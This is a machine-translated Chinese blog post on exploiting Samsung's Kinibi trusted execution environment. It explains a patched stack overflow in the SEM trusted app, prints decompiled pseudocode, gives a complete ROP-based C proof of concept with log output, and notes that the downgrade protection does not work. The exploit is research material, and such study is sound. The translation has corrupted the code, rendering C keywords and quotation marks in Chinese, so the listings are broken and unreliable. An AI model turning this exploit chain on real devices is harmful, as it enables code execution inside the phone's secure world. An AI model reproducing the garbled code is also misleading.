【译】KINIBI TEE: TRUSTED APPLICATION EXPLOITATION

一段时间以来,Android设备和许多嵌入式系统都使用了受信任的执行环境(TEE)来托管一些安全功能(如硬件加密/密钥,DRM,移动支付,生物识别等)。 在ARM平台上,TEE是小型操作系统,它们使用ARM TrustZone技术将其执行与标准操作系统(例如Linux)隔离开。

TEE操作系统比Rich Execution Environment(智能手机中的REE,Android)简单得多,并且对逆向工程很有趣。 这篇博客文章专门介绍Trustonic的TEE实施,尤其是三星为其Exynos芯片组进行的集成。 三星最近在受信任的应用程序中修复了一个小漏洞。 在对TrustZone / Kinibi进行简要说明之后,本文详细介绍了此漏洞的利用。

信任区

在TrustZone体系结构中,TEE在安全的EL1异常级别上运行。 可将受信任的应用程序加载到其之上,并在安全的EL0异常级别上运行。 受信任的应用程序是经过签名的图像,只有在图像签名正确且来自受信任的开发人员的情况下,才能加载该图像。

REE通过执行安全监视器调用(在内核模式下使用特权SMC指令)与TEE通信。 这些调用由安全监视器处理,并中继到TEE内核。

 

TrustZone架构

TrustZone架构

TrustZone允许通过使用非安全标志(NS)标记内存来将安全世界的内存与正常世界隔离。 在正常情况下运行的代码只能访问标记为NS的内存。

在手机上,有3种主要的TEE实现:

  • 基于Qualcomm SoC的设备上的QSEE / QTEE
  • 华为的TrustedCore
  • 来自Trustonic的Kinibi

存在一个开源实现: op-tee ,此版本可以在Qemu和某些开发板上运行。

基尼比

Kinibi是Trustonic(也称为T-Base或Mobicore)构建的TEE实现,主要用于Mediatek和Exynos SoC。 Kinibi由多个组件组成:

  • 微内核:MTK
  • 运行时管理器:RTM
  • 很少的内置驱动程序:加密,安全存储,...
  • 应用程序/驱动程序使用的帮助程序库:McLib

Kinibi仅在Aarch32模式下运行。

基尼比建筑

基尼比建筑

微内核以安全的EL1异常级别运行。 它提供对驱动程序和受信任的应用程序的系统调用,并强制执行任务隔离。 安全监视器中的一段代码将SMC中断从正常环境中继到TEE内核,从而允许两个环境之间进行通信。 内核还执行抢占式调度。

运行时管理器是Kinibi的主要任务,它管理普通世界客户端和受信任的应用程序之间的会话。 当REE客户端打开新会话时,RTM首先检查应用程序是否已经加载。 加载过程涉及应用程序二进制文件的签名检查。 还可以对应用程序二进制文件进行加密,因此RTM在加载受信任的应用程序之前对其进行解密。

驱动程序在安全的EL0异常级别运行,并且由于其二进制文件与受信任的应用程序具有完全相同的格式,因此它们将加载相同的API。 与TA相比,驱动程序可以访问的系统调用更多。 这些额外的系统调用使驱动程序可以映射其他任务内存,物理内存,执行SMC调用等。

McLib库为TA和驱动程序提供了API。 它是二进制文件,映射到每个驱动程序或应用程序任务中的固定地址。 应用程序通过跳转到r0寄存器中具有API ID的库入口点来使用该库。 TA和驱动程序的功能称为tlApi*而仅驱动程序的功能称为drApi* 。 API函数的定义可以在许多GitHub存储库中找到,这有助于逆向工程。

在Samsung手机上,可以从sboot.bin轻松提取这些组件。 @kutyacica在ekoparty会议上提出了一种提取这些部分的好方法。 他在sboot.bin二进制文件中找到一个表,其中包含不同组件的偏移量。 自Galaxy S6以来,此表的格式略有变化,但解压缩二进制文件仍然很简单。

受信任的应用程序

在大多数情况下,受信任的应用程序和驱动程序是签名的二进制文件,但未加密,可以轻松进行分析。 在三星手机上,这些二进制文件存储在/vendor/app/mcRegistry//system/app/mcRegistry/目录中。

受信任的应用程序和驱动程序二进制文件使用的格式是MCLF格式。 该格式记录在trustonic-tee-user-space GitHub项目上可用的头文件中。 mclf-ida-loader可帮助您在IDA中加载此格式。

加载TA时,Kinibi使用MCLF头映射TA存储空间中的代码,数据和bss区域。 mcLib库映射到固定地址(Galaxy S8 / S9上为0x07d00000 )。 打开会话时,共享缓冲区(称为tci )也映射到固定地址: 0x001000000x00300000具体取决于MCLF标头中指定的版本。

REE中的TA客户端可以映射新的共享内存区域,这些区域映射为0x00200000 + map_id*0x00100000 。

 

TA内存映射

TA内存映射

大多数受信任的应用程序将tci共享内存用于输入和输出缓冲区,前32位用作命令ID。 通常,初始化是在入口点完成的(加密初始化,堆栈cookie随机化等),然后调用main函数。 main函数检查共享缓冲区的大小,然后启动主循环。 TA使用tlApiWaitNotification (6)API等待新消息,并处理共享缓冲区的内容。 响应数据被写入共享缓冲区,TA使用tlApiNotify (7)API通知REE,并等待新消息。

TA开发101

即使TEE操作系统专用于安全性操作,该操作系统也没有像ASLR / PIE这样的安全性强化,这使得利用受信任的应用程序中的漏洞非常容易。

G955FXXU2CREDG955FXXU3CRGH (对于Galaxy S8 +)之间的某个G955FXXU2CRED ,三星修补了SEM TA( fffffffff0000000000000000000001b.tlbin )。

该修补程序修复了0x1B命令处理程序中直接可达到的基于堆栈的缓冲区溢出。 此外,在此TA的新版本中启用了堆栈cookie。

  / * G955FXXU2CRED中的伪代码* /
 无效 __fastcall handle_cmd_id_0x1b ( unsigned int * tciBuffer)
 {
   // [...]
   字符 v64 [ 256 ];  // [sp + 158h] [bp-770h]
   字符 v65 [ 256 ];  // [sp + 258h] [bp-670h]
   字符 v66 [ 200 ];  // [sp + 358h] [bp-570h]
   字符 v67 [ 1024 ];  // [sp + 420h] [bp-4A8h]
   字符 v68 [ 64 ];  // [sp + 820h] [bp-A8h]
   字符 v69 [ 52 ];  // [sp + 860h] [bp-68h]
   int v70;  // [sp + 894h] [bp-34h]

   bzero( v66,0xC8u );
   bzero( v64,0x100u );
   bzero( v65,0x100u );
   bzero( v68,0x40u );
   v4 = tciBuffer [ 2 ];
   v5 = tciBuffer [ 3 ];
   //具有源和长度受控的memcpy
   memcpy(v66, tciBuffer + 4 , tciBuffer [ 3 ]);
   v6 = v5 + 12 ;
   v7 = * ( int * )(( char * )tciBuffer + v5 + 16 );
   如果 ( tciBuffer [ 23042 ] > ( unsigned int )(v7 + 208 ) )
   {
     snprintf(v67,0x400, “〜%18s:%4d:输入数据通过缓冲区。” , v8,113 );
     print( “ [E] SEM%s \ n ” , v67);
     回报 ;
   }
   // [...]

没有堆栈cookie,在命令处理程序中直接可以访问基于堆栈的缓冲区溢出,这应该使您想起您的第一个漏洞利用/挑战。

受信任的应用程序具有映射的执行代码页和读写数据页。 Kinibi没有像mprotect的syscall,也不提供syscall和Trusted Applications之间的map ,因此在TA中执行任意代码的唯一方法是对其代码进行ROP。

为了与TEE通信,使用了libMcClient.so库。 该库提供了加载TA,打开会话,映射内存并通知受信任的应用程序的功能。 Trustonic提供了使用此库的头文件: MobiCoreDriverApi.h 。 在Android上,只有某些特权应用程序和具有特定SElinux上下文的应用程序可以使用TEE驱动程序。

这是一个简单的漏洞利用,ROP在Samsung设备上打印受控日志字符串,TEE日志以kmsg打印。

  #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <sys / stat.h>

 #include “ MobiCoreDriverApi.h”

 #define err(f_,...){printf(“ [\ 033 [31; 1m!\ 033 [0m]”);  printf(f_,## __ VA_ARGS__);}
 #define ok(f_,...){printf(“ [\ 033 [32; 1m + \ 033 [0m]”);  printf(f_,## __ VA_ARGS__);}
 #define info(f_,...){printf(“ [\ 033 [34; 1m- \ 033 [0m]”);  printf(f_,## __ VA_ARGS__);}
 #define warn(f_,...){printf(“ [\ 033 [33; 1mw \ 033 [0m]”);  printf(f_,## __ VA_ARGS__);}

 int main ( int argc, char ** argv) {
     mcResult_t ret;
     mcSessionHandle_t session = { 0 };
     mcBulkMap_t 地图;
     uint32_t stack_size;
     char * to_map;


     // ROPgadget --binary fffffffff0000000000000000000001b.tlbin \
 // --rawArch arm --rawMode thumb --offset 0x1000
     uint32_t rop_chain [] = {
         0x38c2 +1 , // pop {r0,r1,r2,r3,r4,r5,r6,pc}
         0x0 , // r0(将是要打印的字符串)
         0x0 , // r1(参数,将在mcMap之后设置)
         0x0 , // r2(未使用)
         0x0 , // r3(未使用)
         0x0 , // r4(未使用)
         0x0 , // r5(未使用)
         0x0 , // r6(未使用)
         0x25070 + 1 // tlApiPrintf包装器
     };

     文件 * f = fopen(
         “ /data/local/tmp/fffffffff0000000000000000000001b.tlbin” ,
         “ rb”
     );
     如果 ( ! f) {
         err( “无法打开TA%s \ n ” ,argv [ 1 ]);
         返回 1 ;
     }
     fseek(f, 0 , SEEK_END);
     uint32_t ta_size = ftell(f);
     fseek(f, 0 , SEEK_SET);


     char * ta_mem = malloc(ta_size);
     if (fread(ta_mem, ta_size, 1 , f) != 1 ) {
         err( “无法读取TA” );
         返回 1 ;
     }

     uint32_t tciLen = 0x20000 ;  // TA访问此WSM上的固定偏移量
                                //因此缓冲区应该足够大
     uint32_t * tci = malloc(tciLen);

     ret = mcOpenDevice(MC_DEVICE_ID_DEFAULT);
     如果 (ret != MC_DRV_OK) {
         err( “无法mcOpenDevice \ n ” );
         返回 1 ;
     }

     to_map = strdup( “->来自受信任应用程序的Hello <- \ n ” );

     ret = mcOpenTrustlet( & session, 0 , ta_mem, ta_size, 
                          ( uint8_t * ) tci , tciLen);
     如果 (ret == MC_DRV_OK) {
         //将字符串映射到TA虚拟空间中,API返回
         // TA空间中的地址。
         ret = mcMap( & session, to_map, 40960 , (mcBulkMap_t * ) & map);
         如果 (ret != MC_DRV_OK) {
             err( “无法映射到 \ n ” );
             返回 1 ;
         }
         ok( “ TA虚拟内存中的地址:0x%x \ n ” , map.sVirtualAddr);

         // rop_chain [1]为R0,将其指向TA中的字符串
         //地址空间。
         rop_chain [ 1 ] = map.sVirtualAddr;

         stack_size = 0x54c ;  //填充堆栈框架
         stack_size + = 0x20 ;  //弹出的寄存器大小

         //填充tciBuffer
         tci [ 0 ] = 27 ;  // cmd ID
         tci [ 3 ] = stack_size + sizeof (rop_chain);  // memcpy大小
         memcpy( & tci [ 4 + stack_size / 4 ], & rop_chain, sizeof (rop_chain));

         //通知助教
         mcNotify( & session);
         mcWaitNotification( & session, 2000 );
         mcCloseSession( & session);
     }
     mcCloseDevice(MC_DEVICE_ID_DEFAULT);
     返回 0 ;
 }
  dreamlte:/#/数据/本地/ tmp / exploit_sem
 [+] TA虚拟内存中的地址:0x2005f0

 dreamlte:/#dmesg -c |  grep TEE
 TEE:b01 | [I] SEM [INFO]:开始SEM TA ::版本:2016.06.15.1
 TEE:b01 | [E] SEM错误的CCM版本
 TEE:b01 | [E] SEM错误的CCM版本
 TEE:b01 | [E] SEM handleCCMDataSWP [错误END]
 TEE:b01 |->从受信任的应用程序<-您好

结论

本文显示了在Trusted App中实现任意代码执行有多么容易。 SEM应用程序还包含其他重要漏洞,但是堆栈cookie限制了漏洞利用。

由于TEE提供了一种防回滚机制,因此在最新设备上,TA中的修补漏洞应该是无法利用的。 不幸的是,三星在合并与安全相关的补丁时并不总是增加版本号。 SEM TA就是这种情况,这意味着仍可以加载和利用旧版本。
在许多三星设备上,防回滚机制似乎根本不起作用(例如在S8上)。

由于攻击者可以与安全驱动程序和TEE内核syscall进行交互,因此在受信任的应用程序中获得代码执行会大大增加攻击面。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值